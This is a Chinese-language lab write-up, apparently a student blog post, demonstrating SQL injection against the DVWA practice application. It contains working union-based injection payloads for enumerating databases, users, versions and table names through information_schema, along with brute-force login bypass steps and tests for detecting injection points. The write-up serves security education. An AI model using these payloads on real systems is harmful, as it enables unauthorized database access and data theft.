实验基本原理&目的
Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
参考blog:SQL注入基本原理
实验过程
猜解数据库
Step1:理解PHP页面通过get方法传递参数
当我们的sercurity level为low的时候,分析网页的html源码会发现是php的参数通过get方法来进行获取的
而当时medium的时候,是通过POST来获取的,用户不再输入,而是仅能通过选择来进行
Step 2:查看source code
当安全级别为medium的时候,我们可以看到source code中的SQL查询语句为
那么当我们输入id(例如:1)之后,所构造的SQL的完整语句就是
SELECT first_name, last_name FROM users WHERE user_id = '1';
意思是在名为users
的表中找到user_id
这个列中内容为"1"
的那一条数据的first_name
以及last_name
的值
所以之后我们可以通过控制输入的参数id的值来调整执行的SQL语句
Step 3:猜解SQL查询语句当中的字段数
- (可能是在这里有输入的提示才不进行SQL注入类型的判断,但是正常情况下要实现判断注入的类型时字符型还是数字型)
在这里通过Burp Suit
输入1' order by 1#
,此时php所要执行的SQL语句就变为了
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';
此时SQL会把#后面内容屏蔽来避免语句错误,但是此时会发现提示语法错误
在这里,根据参考渗透学习笔记–基础篇–sql注入(数字型)会发现是由于’ 被转义为了\,之后注入的时候只需要输入1 order by 1#
即可
结果为
同时测试1 order by 2#
,发现也成功,但是到了order by 3#的时候,会发现出现错误,说明这个名为users
的表应该是2列
Step 4:获取数据库名等信息
在这里,我们构造1 union select database(),user()
database()
会返回当前网站所使用的数据库的名字user()
会返回执行当前查询的用户的名字
此时,SQL实际执行的语句应该为
SELECT first_name, last_name FROM users WHERE user_id = '1'
union
select database(),user()#;
意思为,首先在user这个表中找到user_id 为1的first_name和last name两列,之后再select database(), user()
,最后将两个select出的表格合并,之后返回html页面,如图显示,所以数据库名为dvwa
,执行当前查询的用户的名字为root@localhost
Step 5:获取数据库版本以及操作系统信息
在这里,我们输入的是1 union select version(),@@version_compile_os#
version()
获取当前数据库的版本信息@@version_compile_os
获取当前操作系统信息
此时,实际执行的SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '1'
union
select version(),@@version_compile_os#;
具体的意思可结合上面step和函数作用了解,执行结果为下图,我们可以了解当前数据库版本为5.5.53
,操作系统为win32
Step 6:获取数据库中的表名
information_schema
是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库
我们输入的内容为 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
,但是由于存在转义字符,所以可以采用16进制来写dvwa或者database()
来代替,实际所执行的SQL语句为
SELECT first_name, last_name FROM users WHERE user_id = '1'
union
select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#;
结果如下
所以此时我们可以得到dvwa
这个数据库下面有两个表,分别名为guestbook
和users
验证绕过,级别为medium
首先来看能够正确验证,我们在user
和password
直接输入123,会发现提示此时账户/密码不正确
之后来看后台的php代码的具体运行情况,发现比较重要的是SQL的select语句以及后面呢条件判断,而当我们输入123的时候,实际执行的SQL语句为
select * from users where username='123' and password='123'
在这里好像有转义字符的限制,我们通过将捕获的包Intruder
模块来实现,可以用暴力破解来实现,可以看到password的字段长度和其他的明显不一样(因为返回的正确信息的长度和错误信息的长度不一样),所以密码可能就是password
,试验后发现成功login
判断注入点
4.1 判断是否存在注入漏洞
一般我们进行判断的时候,在输入的参数后面加一个单引号,比如
http://xxx/abc.php?id=1'
当页面返回错误的时候,说明是存在SQL注入的,因为无论字符型还是整型都会因为单引号个数不匹配而报错(比如在安全级别为low的时候,当我们输入1’的时候,会报语法错误)。
而如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤/转义,这时可以使用判断语句进行注入(比如在安全级别为medium的时候进行了转义)
*4.2 判断注入类型是字符型还是数字型 *
当输入and 1=1
,此时执行的SQL语句就是
select * from <表名> where id = x and 1=1
如果此时成功,试验and 1=2
select * from <表名> where id = x and 1=2
如果此时失败,则综合上面的,说明类型为数字型,因为如果注入类型为字符型,就会出现,此时并没有执行and语句后面的判断,所以不会出现上面一正一负的结果
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
而当注入类型为字符型的时候,一般SQL语句为
select * from <表名> where id = 'x'
此时通过 and '1'='1
和 and '1'='2
来判断,因为此时的执行的SQL语句为(一正一负的结果)
select * from <表名> where id = 'x' and '1'='1'
select * from <表名> where id = 'x' and '1'='2'
如果假设为数字型,则会变为下面的SQL语句,此时都会是语法错误
select * from <表名> where id = x and '1'='1
select * from <表名> where id = x and '1'='2
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!